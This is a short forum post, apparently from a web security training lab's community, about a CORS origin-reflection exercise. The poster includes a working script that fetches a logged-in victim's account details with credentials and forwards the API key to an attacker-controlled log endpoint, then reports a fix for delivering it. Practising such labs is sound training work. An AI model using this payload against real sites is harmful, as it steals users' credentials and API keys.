CORS vulnerability with basic origin reflection

Olaf | Last updated: Sep 26, 2024 11:40AM UTC

Hi, I used all kinds of different browsers but the administrator user won't click or do any interaction to retrieve the api key. the script I used: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://<REDACTED>.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> Now this does work when I click on view exploit, then I see wieners credentials but when I deliver the exploit, I receive nothing from the administrator user. Any idea what could be wrong? Thanks!

Nevermind! I got it solved. It turns out after you view the exploit, you go back and click immediately on deliver exploit instead of storing it again. That will do the trick!
